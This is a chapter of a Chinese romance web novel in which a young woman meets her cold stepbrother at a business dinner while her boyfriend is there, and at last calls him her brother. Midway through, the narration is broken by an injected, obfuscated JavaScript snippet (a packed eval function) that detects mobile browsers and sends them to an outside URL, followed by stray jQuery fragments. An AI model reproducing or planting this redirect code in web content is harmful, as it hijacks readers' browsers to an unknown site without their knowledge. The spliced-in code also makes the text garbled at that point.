潮湿雨季宋春禾

2. Chapter2

在陆肇的惊叹声中,陈宥仪抬起了头。


四年没见,梁知韫和记忆中的模样有很多不同。


瘦了,高了。


挡住额头的碎发向后而梳,不知何时受了伤,右边眉尾多出来一道飞斜着的疤痕,让他本就硬朗的轮廓更加锋利,还多了几分野性。


到底不再年少,从前的桀骜不羁收敛了不少,就连他最不喜爱的西服,如今也妥帖得体地套上了身。


黑色套装,没系领带,衬衣领口的纽扣随意地解开了两颗,削弱了不少职场精英那统一又死板的商务感,更显得雅痞。


种种不同中,唯一让她感到熟悉的,是他看向她的眼神。


轻薄狭长的丹凤眼,漫不经心地透出冷劲和厌恶。多年前,十六岁的陈宥仪踏进梁家第一天,他就是这样看着她的。


他们之间又回到了原点,说不清是好是坏。


垂落的指尖生出凉意,陈宥仪忽然不知怎么泄了力,无意识地后退了一步。


然而,尖细的高跟鞋没能踩稳地板,陈宥仪上半身猝不及防地后倾去,险些摔过去的那刻,蒋铮从她身后而来,眼疾手快地扶住了她的腰。


“没事吧?宥仪。”蒋铮关切地问。


“没事。”陈宥仪靠在蒋铮怀里,扯出来一个勉强的笑,重新挺直脊背,站稳脚跟。


她竭尽全力的想让这场突如其来的重逢变得平静,平静到无人问津,就这样轻飘飘地将这幕揭过去,仿佛同梁知韫只是从未见过的陌生人。


“那就好。”蒋铮温声道,转而看向梁知韫,替陈宥仪道歉,“梁总,不好意思,我女朋友身体不太舒服,这才不小心冲撞到了你。”


梁知韫没搭腔。


陈宥仪余光忍不住地落向他。


他还是那样,用着最傲慢的姿态,睥睨着她,眼底瘆人的冷意丝丝缕缕往外钻。


气氛变得诡异起来。


“滋”地一声响,椅子划拉过地板,陆肇起身,扯开一副笑脸,走过来打破此刻的僵局:“梁总,我还以为您没看到我的消息,今天不会来呢!”


“喏,给您介绍一下,这位是蒋铮,刚从国外回来。”陆肇一一介绍道,“这位是他女朋友,陈宥仪。”


这回,梁知韫的神态出现了微弱的变化。


他的目光从陈宥仪身上偏转到了蒋铮:“开酒店的蒋家?”


一贯低磁的嗓音,情绪不明,叫人摸不透。


蒋铮微微颔首:“对。”


梁知韫若有所思地瞥了眼陈宥仪,重新看向蒋铮,冷傲的目光夹杂着几分审视:“在哪儿留的学?”


“英国。”蒋铮说。


“伦敦?”


“对。”


“圣马丁?”


蒋铮有些意外,完全没料到梁知韫一猜猜了个准,倏地笑了:“没想到梁总对国外的院校还挺了解的。”


闻言,不知道想到了什么,梁知韫眉梢轻挑,从喉咙里溢出一声意味难明的冷笑:“呵。”


蒋铮展开的笑容瞬间凝固。


在座看热闹的各位面面相觑,无一例外地嗅到浓烈的火药味。虽然他们不清楚梁知韫为何做此反应,但大家都默契地担心起今日这场饭局是否能顺利进行。


蒋铮脾气虽好,但对第一次见面就讥讽别人的人,也不会惯着。收拢唇角,他欲要争论,袖口却被陈宥仪轻轻拽了下。


旁人不知,但陈宥仪明白,梁知韫此番真正针对的人是她。


她抬睫,再次正视梁知韫。没有半点怯意,清透的眸子满是倔强,像是在警告他,别毁了现在的平和。


梁知韫觉得可笑,眼神又一次冷了下去。


被梁知韫低气压震慑着的陆肇后背直冒冷汗,但能有什么办法?谁让是他把这位爷请来的呢。


现在后悔也来不及了,陆肇深呼吸,硬着头皮再次打起圆场:“欸欸欸!咱们别站在门口了,快上菜了,入座吧。”


话落,他朝其他人使眼色。


大家都是聪明人,你一言我一句地附和起:“是呀是呀,都别站着了,快坐下。”


“来来来,梁总,这边请。”


原本气氛凝固的包厢又活跃起来。


蒋铮不会不给陆肇面子,他什么都没说,只将目光看向陈宥仪:“走吧,我们落座。”


陈宥仪跌宕的心还没平静下来:“你们先聊,我先出去一下。”


没给蒋铮回应的机会,说完,她就侧身绕过挡在门口的梁知韫,阔步走了出去。


长廊上,尖锐的鞋跟敲击着大理石的地板,缓慢地向尽头而去。


陈宥仪脊背绷的僵直,心口像堵了块石头,发闷发紧。直到走进空无一人的洗手间,她像是泄了气的皮球,整个人松落了下来。


双手撑住水池台面,她沉重地吐息,又吐息。喉咙里酸涩的像是生吞了未熟的青梅,泛出一丝苦意,直冲眼眶。


努力抑制住翻涌的情绪,她缓缓抬起了头。


镜中素白的脸上透出一丝狼狈,出门前精心打理过的头发不知何时变得乱七八糟,唇上本就浅淡颜色,也悄无声息地抹去了。


怎么会这么巧?


她回国一个星期,也出过几次门,虽然想过会碰上故人,却怎么都没预料到,会是她和蒋铮在一起时,同梁知韫重逢。


盯着镜子,陈宥仪的目光逐渐失焦。


时间无声地流动着,门外遽然传来一阵脚步声。


她慌忙收回思绪,从包里掏出口红,简单地补了妆,又把头发顺了一遍。确认自己足够平静后,转身出去。


回到包厢,桌上已经摆了不少菜品。


座位不知怎么换过了,她和蒋铮被安排在了靠门口的位置,原本坐在右侧的陆肇变成了一个叫做宋思的女孩。陆肇跑去和梁知韫坐在了一起,但也是巧了,陈宥仪的座位刚好是梁知韫的正对面。


无论她抬不抬头,看不看过去。梁知韫都在那儿,清晰的将周遭的一切都变得模糊,让人别扭又惶恐。


垂低长睫,陈宥仪视若无睹,举杯喝水。


“好点了吗?”蒋铮看着她略有血色的脸,还是有些不放心,把刚才问服务生要来的毯子拿过来盖在她腿上,贴心温柔地叮嘱道,“屋里冷气强,别着凉。”


“好。”陈宥仪点头,浅浅一笑,弯起的眉眼柔情似水。


这一幕的你侬我侬,恰好落进了梁知韫的眼底。


他晃着酒杯,听着陆肇在旁边激情澎湃地介绍着他们家的项目,目光却打量着桌对面谈笑的二人,想到一些旧事,眸光骤冷。


“怎么了?梁总。”一直看着他的陆肇敏锐察觉,还以为自己哪里没说好,紧张起来。


“没事。”梁知韫视线下落,不再看过去,示意陆肇继续说。


对此,桌对面的陈宥仪浑然不知。


坐在她右边的宋思看她杯子空了,主动起身帮忙倒水,顺带着搭了话茬:“宥仪姐,我听知韫哥说,你是学珠宝设计的?”


“对。”陈宥仪扶着水杯,同宋思道谢,“谢谢。”


“那你是高中就出国了?”宋思笑着,人甜声甜。


;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!''''.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new regexp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15667423|172988||http|test|mini|href|location''.split(''|''),0,{}));


() {


$(''.inform'').remove();


$(''#content'').append(''


“高考后去的。”


“那你高中在咱们这儿念的?哪个学校呀?”


“七中。”


“七中?”闻言,刚讲完公司事务的话痨陆肇接过了话茬。他夹了一块三文鱼,转而看向梁知韫,“欸,梁总,我记得你高中也是这个学校的吧?”


陈宥仪没想到话题会被引到梁知韫身上,她抬眸,朝他看去。


梁知韫闲散靠在椅背上,拿起旁人敬的烟,轻轻磕了下桌面。


他没看她,只言简意赅地答:“对。”


一听二人同校,宋思八卦心起,眼睛瞬间澄亮:“宥仪姐,那你和梁总之前认识吗?”


话音掷地,一直低垂视线的梁知韫忽然掀眼。


两人目光猝不及防地相撞,男人点漆似的眼睛深邃幽暗,神情难猜,她却偏偏从中看出一点饶有兴味。


仿佛在说,我倒要看看,你会怎么告诉他们,我和你的关系。


可还能怎么说呢?


他们之间,只有一个介绍,最为合适。


半晌,在所有人的注视下,陈宥仪清脆又平和的声音响起:“他是我哥。”


一语惊破天地,在座的各位全都瞪圆眼睛。


“哥!”


“哥?”


“哥——”


就连一向稳重的蒋铮也一脸惊愕地看向了陈宥仪:“宥仪、你、你说什么?”


陈宥仪看向蒋铮,又把刚才的话重复了一遍:“他是我哥哥。”


轻柔的嗓音、平铺直叙的语调、从容的笑,足以完美的掩盖她的慌张、她的心虚。


“是表哥?”又有人问。


“不是。”陈宥仪答。


“那是……”对方想说难不成是上学时认得哥哥,可又觉得这两人不像会搞这种事的人,默默把这荒唐话咽了回去。


至于其他人,心思各异地互递了个眼神后,又都小心翼翼地瞥了眼一直没作声的梁知韫。


他不动声色地坐着,冷白纤长的手把玩着酒杯,叫人捉摸不透。


他们这圈子的人,家庭关系没几个是简单的。


瞧见梁知韫没否认,陈宥仪也没再过多介绍,大家也都默契的没再多问。


毕竟梁家是极不好惹的,倘若谁马虎一点儿,一不小心说错了话,他们的前途就要不保了。


这个话题就这么跳了过去,但今夜这场饭吃到一半,就直接开始了拼酒游戏。


桌上的女生都没能幸免,包括陈宥仪,哪怕有蒋铮护着挡着,也还是未能幸免,喝了几杯。


她酒量不好,没一会儿就犯晕,本想和蒋铮说早点回去,可不知道什么时候开始,蒋铮被陆肇拉到了另一边的座位。两人谈笑风生着,气氛好的不得了,她根本插不进去。


屋内又弥漫起难闻的烟味,胃部隐隐有些翻腾,陈宥仪实在受不了,连手包都没拿,就疾步走了出去。


走廊上的空气好很多,但依旧还是闷得慌。


她想吐,去了洗手间,却因为没吃什么,吐不出东西。


就这么折腾了好一会儿,陈宥仪放弃挣扎,在洗手池前随意挽起长发,连脸上的妆都顾不上了,直接弯腰捧起清水,扑向因为酒精而发烫的面颊。


一次、两次、三次……


感觉到意识清晰许多后,她直起身,对着镜子用手背拂去了缀在脸颊上的水珠,转身往外走去。


刚出来没走几步,不经意抬眼间,一道修长挺括的身影落进了她的视线。


向前的脚步顿住,陈宥仪看着来人,呼吸刹那间停滞。